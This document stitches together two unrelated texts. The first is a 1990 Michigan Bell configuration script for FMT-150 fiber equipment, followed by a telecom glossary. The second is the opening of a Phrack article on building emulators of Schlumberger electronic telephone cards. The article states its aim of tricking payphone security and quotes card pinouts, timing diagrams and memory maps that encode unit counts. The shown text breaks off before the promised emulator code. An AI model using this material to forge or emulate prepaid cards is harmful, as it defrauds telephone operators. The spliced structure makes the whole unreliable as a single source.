;REFNO=5.00
|
||
CLEAR
|
||
PAUSE 1
|
||
ALARM 1
|
||
MESSAGE " "
|
||
MESSAGE " *************************************************"
|
||
MESSAGE " * *"
|
||
MESSAGE " * FMT-150 MCU NT7H90XC\CA CONFIGURATION PROGRAM *"
|
||
MESSAGE " * MCU NT7H90XE\EA CONFIGURATION PROGRAM *"
|
||
MESSAGE " * *"
|
||
MESSAGE " * VERSION 5.00 DEC 18, 1990 *"
|
||
MESSAGE " * *"
|
||
MESSAGE " * MICHIGAN BELL TELEPHONE COMPANY *"
|
||
MESSAGE " * A DIVISION OF AMERITECH *"
|
||
MESSAGE " * *"
|
||
MESSAGE " * *"
|
||
MESSAGE " *************************************************"
|
||
MESSAGE " "
|
||
MESSAGE " "
|
||
MESSAGE " ....TO EXIT THIS PROGRAM AT ANY TIME, PRESS <ESC>...."
|
||
PAUSE 3
|
||
ALARM 1
|
||
|
||
;VARIABLE DOCUMENTATION
|
||
;S0=CLLI A USER INPUT
|
||
;S1=CLLI B USER INPUT
|
||
;S2=CLLI LOCAL USER INPUT
|
||
;S3=YEAR 2 DIGIT USER INPUT
|
||
;S4=MONTH 2 DIGIT USER INPUT
|
||
;S5=DAY 2 DIGIT USER INPUT
|
||
;S6=HOUR 2 DIGIT USER INPUT
|
||
;S7=MINUTE 2 DIGIT USER INPUT
|
||
;S8=SYSTEM ID & USER RESPONSE USED TO CONTROL PROGRAM FLOW
|
||
;S9=SYSTEM NUMBER
|
||
|
||
LABEL1:
|
||
|
||
; note the following statement was superseded in version 4.10 by VPRINT
|
||
;DOS "MODE LPT1:=COM2:" ; REQUIRED TO TURN PRINTER ERROR OFF
|
||
; following flushes the "RUB" buffer
|
||
TRANSMIT "^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H"
|
||
CLEAR
|
||
LOCATE 10,2
|
||
MESSAGE "Enter CLLI code for LOCATION A (C.O.) using full 8 or 11 characters:"
|
||
LOCATE 12,2
|
||
GET S0 11 ;CLLI A
|
||
MESSAGE " "
|
||
CLEAR
|
||
LOCATE 10,2
|
||
MESSAGE "Enter CLLI code for LOCATION B (REMOTE) using full 8 or 11 characters:"
|
||
LOCATE 12,2
|
||
GET S1 11 ;CLLI B
|
||
MESSAGE " "
|
||
CLEAR
|
||
LOCATE 10,2
|
||
MESSAGE "Enter CLLI code for YOUR location using full 8 or 11 characters:"
|
||
LOCATE 12,2
|
||
GET S2 11
|
||
|
||
CLEAR
|
||
LOCATE 8,2
|
||
MESSAGE "Enter system ID without 'MI', for example ALBNMN-JCSNMN."
|
||
LOCATE 10,2
|
||
GET S8 13
|
||
LOCATE 13,2
|
||
MESSAGE "Enter system number, for example 1201 / T3X."
|
||
LOCATE 15,2
|
||
GET S9 15
|
||
|
||
TRANSMIT "CGNS"
|
||
TRANSMIT "`""
|
||
TRANSMIT S8
|
||
TRANSMIT "`""
|
||
TRANSMIT "!"
|
||
|
||
CLEAR
|
||
LOCATE 6,2
|
||
MESSAGE "Enter today's date."
|
||
LOCATE 8,2
|
||
MESSAGE "Enter two digit year + <ENTER>"
|
||
LOCATE 8,34
|
||
GET S3 2 ; 2 DIGIT YEAR
|
||
LOCATE 10,2
|
||
MESSAGE "Enter two digit month + <ENTER>. Use 0's if required."
|
||
LOCATE 10,58
|
||
GET S4 2 ; 2 DIGIT MONTH
|
||
LOCATE 12,2
|
||
MESSAGE "Enter two digit day + <ENTER>. Use 0's if required."
|
||
LOCATE 12,56
|
||
GET S5 2 ; 2 DIGIT DAY
|
||
CLEAR
|
||
LOCATE 6,2
|
||
MESSAGE "Enter time."
|
||
LOCATE 8,2
|
||
MESSAGE "Enter two digit hour + <ENTER>. Use 0's if required."
|
||
LOCATE 8,57
|
||
GET S6 2 ; 2 DIGIT HOUR
|
||
LOCATE 10,2
|
||
MESSAGE "Enter two digit minute + <ENTER>. Use 0's if required."
|
||
LOCATE 10,59
|
||
GET S7 2 ; 2 DIGIT MINUTE
|
||
CLEAR
|
||
|
||
;SET TIME DP3025
|
||
TRANSMIT "CT"
|
||
TRANSMIT S6
|
||
TRANSMIT " "
|
||
TRANSMIT S7
|
||
TRANSMIT " !"
|
||
PAUSE 1
|
||
KFLUSH
|
||
RFLUSH
|
||
CLEAR
|
||
|
||
;PROMPT THE USER TO CHECK INPUTS FOR LOCATIONS
|
||
LOCATE 1,2
|
||
MESSAGE "Please verify the following information."
|
||
LOCATE 4,2
|
||
MESSAGE "LOCATION A CLLI CODE = "
|
||
LOCATE 4,26
|
||
MESSAGE S0
|
||
LOCATE 6,2
|
||
MESSAGE "LOCATION B CLLI CODE = "
|
||
LOCATE 6,26
|
||
MESSAGE S1
|
||
LOCATE 8,2
|
||
MESSAGE "LOCAL LOCATION CLLI CODE ="
|
||
LOCATE 8,29
|
||
MESSAGE S2
|
||
LOCATE 10,2
|
||
MESSAGE "SYSTEM ID = "
|
||
LOCATE 10,17
|
||
MESSAGE S8
|
||
LOCATE 12,2
|
||
MESSAGE "SYSTEM NUMBER = "
|
||
LOCATE 12,21
|
||
MESSAGE S9
|
||
LOCATE 17,2
|
||
MESSAGE "IS INFORMATION CORRECT? Y/N + <ENTER>"
|
||
LOCATE 17,44
|
||
GET S8 1
|
||
SWITCH S8
|
||
CASE "Y"
|
||
;DO NOTHING
|
||
ENDCASE
|
||
DEFAULT
|
||
GOTO LABEL1 ; JUMP TO TOP AND ENTER INFORMATION AGAIN
|
||
ENDCASE
|
||
ENDSWITCH
|
||
CLEAR
|
||
LOCATE 8,15
|
||
MESSAGE "DO NOT PRESS ANY KEYS UNTIL CONFIGURATION COMPLETE"
|
||
LOCATE 10,15
|
||
MESSAGE "OK...HERE WE GO..."
|
||
ALARM 1
|
||
PAUSE 2
|
||
|
||
;SET DATE DP3024
|
||
TRANSMIT "CD"
|
||
TRANSMIT S3
|
||
TRANSMIT " "
|
||
TRANSMIT S4
|
||
TRANSMIT " "
|
||
TRANSMIT S5
|
||
TRANSMIT " !"
|
||
PAUSE 1
|
||
|
||
;NAME NODE 1 USING CENTRAL OFFICE CLLI CODE
|
||
TRANSMIT "CGNN1 "
|
||
TRANSMIT "`""
|
||
TRANSMIT S0
|
||
TRANSMIT "`""
|
||
TRANSMIT "!"
|
||
|
||
;NAME NODE 2 USING REMOTE CLLI CODE
|
||
TRANSMIT "CGNN2 "
|
||
TRANSMIT "`""
|
||
TRANSMIT S1
|
||
TRANSMIT "`""
|
||
TRANSMIT "!"
|
||
|
||
;DEFINE SITE
|
||
TRANSMIT "CGS1 1 2 !"
|
||
;TRANSMIT "`""
|
||
;TRANSMIT S0
|
||
;TRANSMIT "`""
|
||
;TRANSMIT S1
|
||
;TRANSMIT " "
|
||
;TRANSMIT "!"
|
||
|
||
;CONFIGURE CUSTOMER OUTPUT POINTS DP3013
|
||
TRANSMIT "CGNO1 "
|
||
TRANSMIT "`"BAY MINOR`""
|
||
TRANSMIT "!"
|
||
TRANSMIT "CGNO2 "
|
||
TRANSMIT "`"BAY MAJOR`""
|
||
TRANSMIT "!"
|
||
TRANSMIT "CGNO3 "
|
||
TRANSMIT "`"OPT A FAIL`""
|
||
TRANSMIT "!"
|
||
TRANSMIT "CGNO4 "
|
||
TRANSMIT "`"OPT B FAIL`""
|
||
TRANSMIT "!"
|
||
TRANSMIT "CGNO5 "
|
||
TRANSMIT "`"STX TX`""
|
||
TRANSMIT "!"
|
||
TRANSMIT "CGNO6 "
|
||
TRANSMIT "`"STX RX`""
|
||
TRANSMIT "!"
|
||
TRANSMIT "CGNO7 "
|
||
TRANSMIT "`"M13 ALARM #1`""
|
||
TRANSMIT "!"
|
||
TRANSMIT "CGNO8 "
|
||
TRANSMIT "`"M13 ALARM #2`""
|
||
TRANSMIT "!"
|
||
TRANSMIT "CGNO9 "
|
||
TRANSMIT "`"M13 ALARM #3`""
|
||
TRANSMIT "!"
|
||
TRANSMIT "CGNO10 "
|
||
TRANSMIT "`"HSA ALARM`""
|
||
TRANSMIT "!"
|
||
TRANSMIT "CGNO11 "
|
||
TRANSMIT "`"HSB ALARM`""
|
||
TRANSMIT "!"
|
||
;TRANSMIT "CGNO12 "
|
||
;TRANSMIT "`"DS1 GRP FAIL`""
|
||
;TRANSMIT "!"
|
||
TRANSMIT "CGNO13 "
|
||
TRANSMIT "`""
|
||
TRANSMIT S9
|
||
TRANSMIT "`""
|
||
TRANSMIT "!"
|
||
TRANSMIT "CGNO14 "
|
||
TRANSMIT "`"COM EQUIP ALRM`""
|
||
TRANSMIT "!"
|
||
TRANSMIT "CGNO15 "
|
||
TRANSMIT "`"NODE #1 CO`""
|
||
TRANSMIT "!"
|
||
TRANSMIT "CGNO16 "
|
||
TRANSMIT "`"NODE #2 REMOTE`""
|
||
TRANSMIT "!"
|
||
|
||
;DELETE ALL EXISTING CUSTOMER OUTPUTS
|
||
TRANSMIT "CGO1 D*!"
|
||
TRANSMIT "CGO2 D*!"
|
||
TRANSMIT "CGO3 D*!"
|
||
TRANSMIT "CGO4 D*!"
|
||
TRANSMIT "CGO5 D*!"
|
||
TRANSMIT "CGO6 D*!"
|
||
TRANSMIT "CGO7 D*!"
|
||
TRANSMIT "CGO8 D*!"
|
||
TRANSMIT "CGO9 D*!"
|
||
TRANSMIT "CGO10 D*!"
|
||
TRANSMIT "CGO11 D*!"
|
||
TRANSMIT "CGO12 D*!"
|
||
TRANSMIT "CGO13 D*!"
|
||
TRANSMIT "CGO14 D*!"
|
||
TRANSMIT "CGO15 D*!"
|
||
TRANSMIT "CGO16 D*!"
|
||
|
||
;CUSTOMER OUTPUTS 1-2
|
||
TRANSMIT "CGO1 AS1 G100 !"
|
||
TRANSMIT "CGO2 AS1 G120 !"
|
||
|
||
;CUSTOMER OUTPUTS 3-9
|
||
TRANSMIT "CGO3 AS1 G107 !"
|
||
TRANSMIT "CGO4 AS1 G108 !"
|
||
TRANSMIT "CGO5 AS1 G101 !"
|
||
TRANSMIT "CGO5 AS1 G102 !"
|
||
TRANSMIT "CGO5 AS1 G103 !"
|
||
TRANSMIT "CGO6 AS1 G104 !"
|
||
TRANSMIT "CGO6 AS1 G105 !"
|
||
TRANSMIT "CGO6 AS1 G106 !"
|
||
TRANSMIT "CGO7 AS1 G109 !"
|
||
TRANSMIT "CGO8 AS1 G110 !"
|
||
TRANSMIT "CGO9 AS1 G111 !"
|
||
|
||
;CUSTOMER OUTPUTS 10-11
|
||
TRANSMIT "CGO10 AS1 M1 MH18 !"
|
||
TRANSMIT "CGO10 AS1 M2 MH18 !"
|
||
TRANSMIT "CGO10 AS1 M3 MH18 !"
|
||
TRANSMIT "CGO11 AS1 M1 MH19 !"
|
||
TRANSMIT "CGO11 AS1 M2 MH19 !"
|
||
TRANSMIT "CGO11 AS1 M3 MH19 !"
|
||
;TRANSMIT "CGO12 AS1 M1 1H2 !"
|
||
;TRANSMIT "CGO12 AS1 M2 1H2 !"
|
||
;TRANSMIT "CGO12 AS1 M3 1H2 !"
|
||
;TRANSMIT "CGO12 AS1 M1 1H3 !"
|
||
;TRANSMIT "CGO12 AS1 M2 1H3 !"
|
||
;TRANSMIT "CGO12 AS1 M3 1H3 !"
|
||
|
||
;CUSTOMER OUTPUT 13, 14
|
||
TRANSMIT "CGO13 AS1 G100 !"
|
||
TRANSMIT "CGO13 AS1 G120 !"
|
||
TRANSMIT "CGO14 AS1 G112 !"
|
||
|
||
;CUSTOMER OUTPUTS 15, 16
|
||
TRANSMIT "CGO15 AN1 G100 !"
|
||
TRANSMIT "CGO15 AN1 G120 !"
|
||
TRANSMIT "CGO16 AN2 G100 !"
|
||
TRANSMIT "CGO16 AN2 G120 !"
|
||
|
||
;SET TO AUTOMATIC CONTROL
|
||
TRANSMIT "CGO1 CA!"
|
||
TRANSMIT "CGO2 CA!"
|
||
TRANSMIT "CGO3 CA!"
|
||
TRANSMIT "CGO4 CA!"
|
||
TRANSMIT "CGO5 CA!"
|
||
TRANSMIT "CGO6 CA!"
|
||
TRANSMIT "CGO7 CA!"
|
||
TRANSMIT "CGO8 CA!"
|
||
TRANSMIT "CGO9 CA!"
|
||
TRANSMIT "CGO10 CA!"
|
||
TRANSMIT "CGO11 CA!"
|
||
TRANSMIT "CGO12 CA!"
|
||
TRANSMIT "CGO13 CA!"
|
||
TRANSMIT "CGO14 CA!"
|
||
TRANSMIT "CGO15 CA!"
|
||
TRANSMIT "CGO16 CA!"
|
||
;
|
||
;DEFINE CUSTOMER OUTPUT 12
|
||
TRANSMIT "CGO12 D*!"
|
||
TRANSMIT "CGNO12 "
|
||
TRANSMIT "`"EXT ALM`""
|
||
TRANSMIT "!"
|
||
TRANSMIT "CGO12 AN2 G118 !"
|
||
;also attach to pt 13 for alarm center ID
|
||
TRANSMIT "CGO13 AN2 G118 !"
|
||
;
|
||
;DEFINE CUSTOMER INPUTS
|
||
TRANSMIT "CGNI1 "
|
||
TRANSMIT "`"SMOKE DET.`""
|
||
TRANSMIT "!"
|
||
TRANSMIT "CGNI2 "
|
||
TRANSMIT "`"SUMP PUMP`""
|
||
TRANSMIT "!"
|
||
TRANSMIT "CGNI3 "
|
||
TRANSMIT "`"OPEN DOOR`""
|
||
TRANSMIT "!"
|
||
TRANSMIT "CGNI4 "
|
||
TRANSMIT "`"AC PWR FAIL`""
|
||
TRANSMIT "!"
|
||
TRANSMIT "CGNI5 "
|
||
TRANSMIT "`"HI-LO TEMP`""
|
||
TRANSMIT "!"
|
||
TRANSMIT "CGNI6 "
|
||
TRANSMIT "`"RECT. FAIL`""
|
||
TRANSMIT "!"
|
||
TRANSMIT "CGNI7 "
|
||
TRANSMIT "`"BATT FLOAT`""
|
||
TRANSMIT "!"
|
||
;
|
||
;ADD CONDITIONS TO CUSTOMER OUTPUT 1
|
||
TRANSMIT "CGO1 AN2 SS5 !"
|
||
TRANSMIT "CGO1 AN2 SS6 !"
|
||
TRANSMIT "CGO1 AN2 SS7 !"
|
||
;
|
||
;ADD CONDITIONS TO CUSTOMER OUTPUT 2
|
||
TRANSMIT "CGO2 AN2 SS1 !"
|
||
TRANSMIT "CGO2 AN2 SS2 !"
|
||
TRANSMIT "CGO2 AN2 SS3 !"
|
||
TRANSMIT "CGO2 AN2 SS4 !"
|
||
;
|
||
;PER JOE OLSZTYN SWITCHING SYSTEMS STAFF
|
||
;LEAVE PERFORMANCE MONITORING AT FACTORY DEFAULT
|
||
;DISABLE BLUE INSERTION FOR POINT TO POINT SYSTEMS
|
||
;IN A MULTIPOINT SYSTEM BLUE INSERTION SHOULD BE ENABLED.
|
||
|
||
;ENABLE ALARM LOGGER
|
||
TRANSMIT "CAD!"
|
||
|
||
;DISABLE BLUE INSERTION NODE 1 DP3019
|
||
TRANSMIT "CN1 T1 BE!"
|
||
TRANSMIT "CN1 T2 BE!"
|
||
TRANSMIT "CN1 T3 BE!"
|
||
|
||
;ENABLE PARITY CORRECTION NODE 1 DP3020
|
||
TRANSMIT "CN1 T1 PE!"
|
||
TRANSMIT "CN1 T2 PE!"
|
||
TRANSMIT "CN1 T3 PE!"
|
||
|
||
;ENABLE RX OVERHEAD NODE 1 DP3021
|
||
TRANSMIT "CN1 T1 RE!"
|
||
TRANSMIT "CN1 T2 RE!"
|
||
TRANSMIT "CN1 T3 RE!"
|
||
|
||
;ENABLE TX OVERHEAD NODE 1 DP3022
|
||
TRANSMIT "CN1 T1 TE!"
|
||
TRANSMIT "CN1 T2 TE!"
|
||
TRANSMIT "CN1 T3 TE!"
|
||
|
||
;SIGNAL DEGRADE 10E-8 NODE 1 DP3158
|
||
TRANSMIT "CN1 T1 S8!"
|
||
TRANSMIT "CN1 T2 S8!"
|
||
TRANSMIT "CN1 T3 S8!"
|
||
|
||
;DISABLE BLUE INSERTION NODE 2 DP3019
|
||
TRANSMIT "CN2 T1 BE!"
|
||
TRANSMIT "CN2 T2 BE!"
|
||
TRANSMIT "CN2 T3 BE!"
|
||
|
||
;ENABLE PARITY CORRECTION NODE 2 DP3020
|
||
TRANSMIT "CN2 T1 PE!"
|
||
TRANSMIT "CN2 T2 PE!"
|
||
TRANSMIT "CN2 T3 PE!"
|
||
|
||
;ENABLE RX OVERHEAD NODE 2 DP3021
|
||
TRANSMIT "CN2 T1 RE!"
|
||
TRANSMIT "CN2 T2 RE!"
|
||
TRANSMIT "CN2 T3 RE!"
|
||
|
||
;ENABLE TX OVERHEAD NODE 2 DP3022
|
||
TRANSMIT "CN2 T1 TE!"
|
||
TRANSMIT "CN2 T2 TE!"
|
||
TRANSMIT "CN2 T3 TE!"
|
||
|
||
;SIGNAL DEGRADE 10E-8 NODE 2 DP3158
|
||
TRANSMIT "CN2 T1 S8!"
|
||
TRANSMIT "CN2 T2 S8!"
|
||
TRANSMIT "CN2 T3 S8!"
|
||
|
||
;LINE LEARN ALL MULTIPLEXERS BOTH NODES
|
||
TRANSMIT "CN1 M1 L!"
|
||
TRANSMIT "CN1 M2 L!"
|
||
TRANSMIT "CN1 M3 L!"
|
||
TRANSMIT "CN2 M1 L!"
|
||
TRANSMIT "CN2 M2 L!"
|
||
TRANSMIT "CN2 M3 L!"
|
||
|
||
;CONFIGURATION IS COMPLETE EXIT THE PROGRAM
|
||
CLEAR
|
||
ALARM 1
|
||
LOCATE 10,20
|
||
MESSAGE "......CONFIGURATION COMPLETE......"
|
||
LOCATE 14,17
|
||
MESSAGE "CONTINUE WITH SECTION 5 OF CERTIFICATION"
|
||
ALARM 2
|
||
PAUSE 5
|
||
EXIT
|
||
|
||
|
||
----------------------------------------------------------------------------
|
||
Glossary of Terms
|
||
|
||
4W Four Wire
|
||
ACO Alarm Cut-Off
|
||
ACTV Active (module -- carrying traffic)
|
||
AGC Automatic Gain Control
|
||
AIS Alarm Indication Signal -- indicates an alarm upstream
|
||
AMI Alternate Mark Inversion -- a technique by which the polarity of
|
||
alternate pulses is inverted
|
||
APD Avalanche Photo Diode -- used for detecting pulses of light
|
||
at the receive end of an optical fiber
|
||
AUD Audible alarm
|
||
BDF Battery Distribution Frame
|
||
BER Bit Error Rate
|
||
BIP Bit Interleave Parity
|
||
BPV Bipolar Violation -- signal is not alternating as expected
|
||
CAMMS Centralized Access Maintenance and Monitoring System --
|
||
a bay-mounted shelf with push buttons and an luminescent display,
|
||
which is used to control FMT-150 networks, as well as other
|
||
Northern Telecom transmission equipment
|
||
CDP Centralized Display Panel
|
||
CEV Controlled Environment Vault
|
||
CO Central Office
|
||
CPC Common Product Code -- a Northern Telecom code used to identify
|
||
equipment
|
||
DDD Direct Distance Dialing
|
||
DM-13 Digital Multiplexer which multiplexes between DS-1/1C/2 signals
|
||
and DS-3 signals
|
||
DNA Dynamic Network Architecture
|
||
E2A A serial interface for alarm polling of equipment
|
||
FE Frame Error
|
||
FER Frame Error Rate
|
||
FL Frame Loss
|
||
FLC Frame Loss Counter
|
||
FLS Frame Loss Seconds
|
||
FPD Future Product to be Developed
|
||
Group A multiplexed signal made up of four DS-1s, two DS-1Cs, or
|
||
one Ds-2
|
||
Hub An FMT-150 site which branches one 150 Mb/s signal into two or
|
||
three signals, in different directions, without sacrificing
|
||
OA & M continuity
|
||
LBR Loopback Request
|
||
MCU Maintenance Control Unit
|
||
MM Multimode Optical Fiber
|
||
MSB Most Significant Bit
|
||
Muldem Multiplexer/demultiplexer
|
||
NRZ Non-Return to Zero
|
||
OTT Optical Termination Tray
|
||
PEC Product Engineering Code -- a Norther Telecom code used to identify
|
||
equipment. The preferred code to be used when ordering Northern
|
||
Telecom equipment.
|
||
PER Parity Error Rate
|
||
PES Parity Error Seconds
|
||
RTO Ready To Order
|
||
SCU Service Channel Unit
|
||
SMB Sub-Miniature BNC type connector
|
||
SR Stuff Request
|
||
STX (Pseudo) Synchronous Transport Signal: First Level at
|
||
49.92 Mb/s (Northern Telecom)
|
||
TBOS Telemetry Byte Oriented System
|
||
VIS Visual Alarm
|
||
WDM Wavelength Division Multiplexing
|
||
XOW Express Orderwire
|
||
|
||
==Phrack Magazine==
|
||
|
||
Volume Seven, Issue Forty-Eight, File 10 of 18
|
||
|
||
|
||
Electronic Telephone Cards: How to make your own!
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
|
||
I guess that Sweden is not the only country that employs the electronic
|
||
phone card systems from Schlumberger Technologies. This article will
|
||
explain a bit about the cards they use, and how they work. In the end of
|
||
this article you will also find an UUEncoded file which contains source
|
||
code for a PIC16C84 micro-controller program that completely emulates a
|
||
Schlumberger Telephone card and of course printed circuit board layouts
|
||
+ a component list... But before we begin talking seriously of this
|
||
matter I must first make it completely clear that whatever you use this
|
||
information for, is entirely YOUR responsibility, and I cannot be held
|
||
liable for any problems that the use of this information can cause for
|
||
you or for anybody else. In other words: I give this away FOR FREE, and
|
||
I don't expect to get ANYTHING back in return!
|
||
|
||
The Original Telephone Card:
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
Since I probably would have had a hard time writing a better article
|
||
than the one Stephane Bausson from France wrote a while ago, I will not
|
||
attempt to give a better explanation than that one; I will instead
|
||
incorporate it in this phile, but I do want to make it clear that the
|
||
following part about the cards technical specification was not written
|
||
by me: Merely the parts in quotes are things added by me... Instead I
|
||
will concentrate on explaining how to build your own telephone card
|
||
emulator and how the security measures in the payphone system created by
|
||
Schlumberger Technologies work, and how to trick it... But first, let's
|
||
have a look at the technical specifications of the various "smart memory
|
||
card" systems used for the payphones.
|
||
|
||
|
||
<Start of text quoted from Stephane Bausson (sbausson@ensem.u-nancy.fr)>
|
||
------------------------------------------------------------------------------
|
||
|
||
===============================================================================
|
||
What you need to know about electronics telecards
|
||
===============================================================================
|
||
|
||
(C) 10-07-1993 / 03-1994
|
||
Version 1.06
|
||
Stephane BAUSSON
|
||
|
||
Email: sbausson@ensem.u-nancy.fr
|
||
Smail: 4, Rue de Grand; F-88630 CHERMISEY; France
|
||
Phone: (33)-29-06-09-89
|
||
-------------------------------------------------------------------------------
|
||
Any suggestions or comments about phonecards and smart-cards are welcome
|
||
-------------------------------------------------------------------------------
|
||
|
||
Content
|
||
---------
|
||
|
||
I ) The cards from Gemplus, Solaic, Schlumberger, Oberthur:
|
||
|
||
I-1) Introduction:
|
||
I-2) SCHEMATICS of the chip:
|
||
I-3) PINOUT of the connector:
|
||
I-4) Main features:
|
||
I-5) TIME DIAGRAMS:
|
||
I-6) Memory MAP of cards from France and Monaco:
|
||
I-5) Memory MAP of cards from other countries:
|
||
|
||
II ) The cards from ODS: (German cards)
|
||
|
||
II-1) Introduction:
|
||
II-2) Pinout:
|
||
II-3) Main features:
|
||
II-4) Time Diagrams:
|
||
II-5) Memory Map:
|
||
II-6) Electrical features:
|
||
|
||
|
||
III) The Reader Schematic:
|
||
|
||
IV) The program:
|
||
|
||
-------------------------------------------------------------------------------
|
||
|
||
I ) The cards from Gemplus, Solaic, Schlumberger, Oberthur: (French cards)
|
||
======================================================================
|
||
|
||
I-1) Introduction:
|
||
------------
|
||
|
||
You must not think that the electronics phone-cards are
|
||
completely secret things, and that you can not read the information that
|
||
is inside. It is quite false, since in fact an electronic phonecard does
|
||
not contain any secret information like credit cards, and an electronic
|
||
phonecard is nothing else than a 256 bit EPROM with serial output.
|
||
|
||
Besides do not think that you are going to refill them when you
|
||
understand how they work, since for that you should reset the 256 bits
|
||
of the cards by erasing the whole card. But the chip is coated in UV
|
||
opaqued resin even if sometimes you can see it as transparent! Even if
|
||
you were smart enough to erase the 256 bits of the card you should
|
||
program the manufacturer area, but this is quite impossible since these
|
||
first 96 bits are write protected by a lock-out fuse that is fused after
|
||
the card programming in factory.
|
||
|
||
Nevertheless it can be very interesting to study how these cards
|
||
work, to see which kind of data are inside and how the data are mapped
|
||
inside or to see how many units are left inside for example. Besides
|
||
there are a great number of applications of these cards when there are
|
||
used (only for personal usage of course) , since you can use them as key
|
||
to open a door, or you can also use them as key to secure a program,
|
||
etc...
|
||
|
||
These Telecards have been created in 1984 and at this time
|
||
constructors decided to build these cards in NMOS technology but now,
|
||
they plan to change by 1994 all readers in the public to booths and use
|
||
CMOS technology. Also they plan to use EEPROM to secure the cards and to
|
||
add many useful informations in, and you will perhaps use phone cards to
|
||
buy you bread or any thing else.
|
||
|
||
These cards are called Second Generation Telecards.
|
||
|
||
|
||
I-2) SCHEMATICS of the chip:
|
||
----------------------
|
||
|
||
.-------------------.
|
||
| |
|
||
--|> Clk |
|
||
| _ |
|
||
--| R/W |
|
||
| |
|
||
--| Reset |
|
||
| |
|
||
--| Fuse |
|
||
| |
|
||
--| Vpp |
|
||
| |
|
||
| |
|
||
'-. .-'
|
||
| |
|
||
.-------------------.
|
||
| Out |-- serial output
|
||
'-------------------'
|
||
|
||
|
||
I-3) PINOUT of the connector:
|
||
-------------------------
|
||
|
||
|
||
AFNOR CHIP ISO CHIP
|
||
---------- --------
|
||
|
||
-------------+------------- -------------+-------------
|
||
| 8 | 4 | | 1 | 5 |
|
||
| | | | | |
|
||
+-------\ | /-------+ +-------\ | /-------+
|
||
| 7 +----+----+ 3 | | 2 +----+ + 6 |
|
||
| | | | | | | |
|
||
+--------| |--------+ +--------| |--------+
|
||
| 6 | | 2 | | 3 | | 7 |
|
||
| + +----+ | | +----+----+ |
|
||
+-------/ | \-------+ +-------/ | \-------+
|
||
| 5 | 1 | | 4 | 8 |
|
||
| | | | | |
|
||
-------------+------------- -------------+-------------
|
||
|
||
NB: only the position of the chip is ISO
|
||
standardized and not the pinout
|
||
|
||
PINOUT: 1 : Vcc = 5V 5 : Gnd
|
||
------ 2 : R/W 6 : Vpp = 21V
|
||
3 : Clock 7 : I/O
|
||
4 : Reset 8 : Fuse
|
||
|
||
I-4) Main features:
|
||
---------------
|
||
|
||
- Synchronous protocol.
|
||
- N-MOS technology.
|
||
- 256x1 bit organization.
|
||
- 96 written protected by a lock-out fuse.
|
||
- Low power 85mW in read mode.
|
||
- 21 V programming voltage.
|
||
- Access time: 500ns
|
||
- Operating range: -100C +700C
|
||
- Ten year data retention.
|
||
|
||
|
||
I-5) TIME DIAGRAMS:
|
||
---------------
|
||
|
||
+21V _____________
|
||
+5V ____________________________________| |_________________ Vpp
|
||
: :
|
||
+5V ___________________:_____________:_________________ Reset
|
||
0V ________________| : :
|
||
: : :
|
||
+5V ____ : ____ : ______:______
|
||
0V ___| |_______:_____| |________:______| : |__________ Clock
|
||
: : : : : : : : :
|
||
+5V : : : : : :______:______: : _
|
||
0V ___:____:_______:_____:____:________| : |______:__________ R/W
|
||
: : : : : : : : :
|
||
+5V : : :_____: :________: : : :__________
|
||
0V XXXXXXXXXXXXXXXXX_____XXXXXX________XXXXXXXXXXXXXXXXXXXXXX__________ Out
|
||
: : : : : :<-----><---->: :
|
||
: : : : : :10 to 10 to :
|
||
: : : : : :50 ms 50ms :
|
||
Reset Bit 1 Bit2 Bit 3
|
||
card reading reading Bit2 writing to 1 reading
|
||
|
||
|
||
|
||
I-6) MEMORY MAP of cards from France and Monaco:
|
||
--------------------------------------------
|
||
|
||
Bytes Bits Binary Hexa
|
||
|
||
+-----------+-----+
|
||
1 1 --> 8 | | | ---> Builder code.
|
||
+-----------+-----+
|
||
2 9 --> 16 | 0000 0011 | $03 | ---> a French telecard
|
||
+-----------+-----+
|
||
3 17 --> 24 | | |
|
||
+-----------+-----+
|
||
4 25 --> 32 | | |
|
||
+-----------+-----+
|
||
5 33 --> 40 | | |
|
||
+-----------+-----+
|
||
6 41 --> 48 | | |
|
||
+-----------+-----+
|
||
7 49 --> 56 | | |
|
||
+-----------+-----+
|
||
8 57 --> 64 | | |
|
||
+-----------+-----+
|
||
9 65 --> 72 | | |
|
||
+-----------+-----+
|
||
10 73 --> 80 | | |
|
||
+-----------+-----+
|
||
11 81 --> 88 | | |
|
||
+-----------+-----+
|
||
12 33 --> 40 | 0001 0011 | $13 | ---> 120 units card
|
||
| 0000 0110 | $06 | ---> 50 units card
|
||
| 0000 0101 | $05 | ---> 40 units card
|
||
+-----------+-----+
|
||
13-31 97 --> 248 | | | ---> The units area: each time a unit
|
||
| | | is used, then a bit is set to "1";
|
||
| | | Generally the first ten units are
|
||
| | | fused in factory as test.
|
||
| | |
|
||
| | |
|
||
| | |
|
||
+-----------+-----+
|
||
32 249 --> 256 | 1111 1111 | $FF | ---> the card is empty
|
||
+-----------+-----+
|
||
|
||
|
||
|
||
I-7) MEMORY MAP of the other cards:
|
||
-------------------------------
|
||
|
||
Bytes Bits Binary Hexa
|
||
|
||
+-----------+-----+
|
||
1 1 --> 8 | | |
|
||
+-----------+-----+
|
||
2 9 --> 16 | 1000 0011 | $83 | ---> a telecard
|
||
+-----------+-----+-----------+-----+
|
||
3-4 17 --> 32 | 1000 0000 | $80 | 0001 0010 | $12 | ---> 10 units card
|
||
| | | 0010 0100 | $24 | ---> 22 units card
|
||
| | | 0010 0111 | $27 | ---> 25 units card
|
||
| | | 0011 0010 | $32 | ---> 30 units card
|
||
| | | 0101 0010 | $52 | ---> 50 units card
|
||
| | | 1000 0010 | $82 | ---> 80 units card
|
||
| 1000 0001 | $81 | 0000 0010 | $02 | ---> 100 units card
|
||
| | | 0101 0010 | $52 | ---> 150 units card
|
||
+-----------+-----+-----------+-----+
|
||
5 33 --> 40 | | |
|
||
+-----------+-----+
|
||
6 41 --> 48 | | |
|
||
+-----------+-----+
|
||
7 49 --> 56 | | |
|
||
+-----------+-----+
|
||
8 57 --> 64 | | |
|
||
+-----------+-----+
|
||
9 65 --> 72 | | |
|
||
+-----------+-----+
|
||
10 73 --> 80 | | |
|
||
+-----------+-----+
|
||
11 81 --> 88 | | |
|
||
+-----------+-----+
|
||
12 89 --> 96 | 0001 1110 | $1E | ---> Sweden
|
||
| 0010 0010 | $22 | ---> Spain
|
||
| 0011 0000 | $30 | ---> Norway
|
||
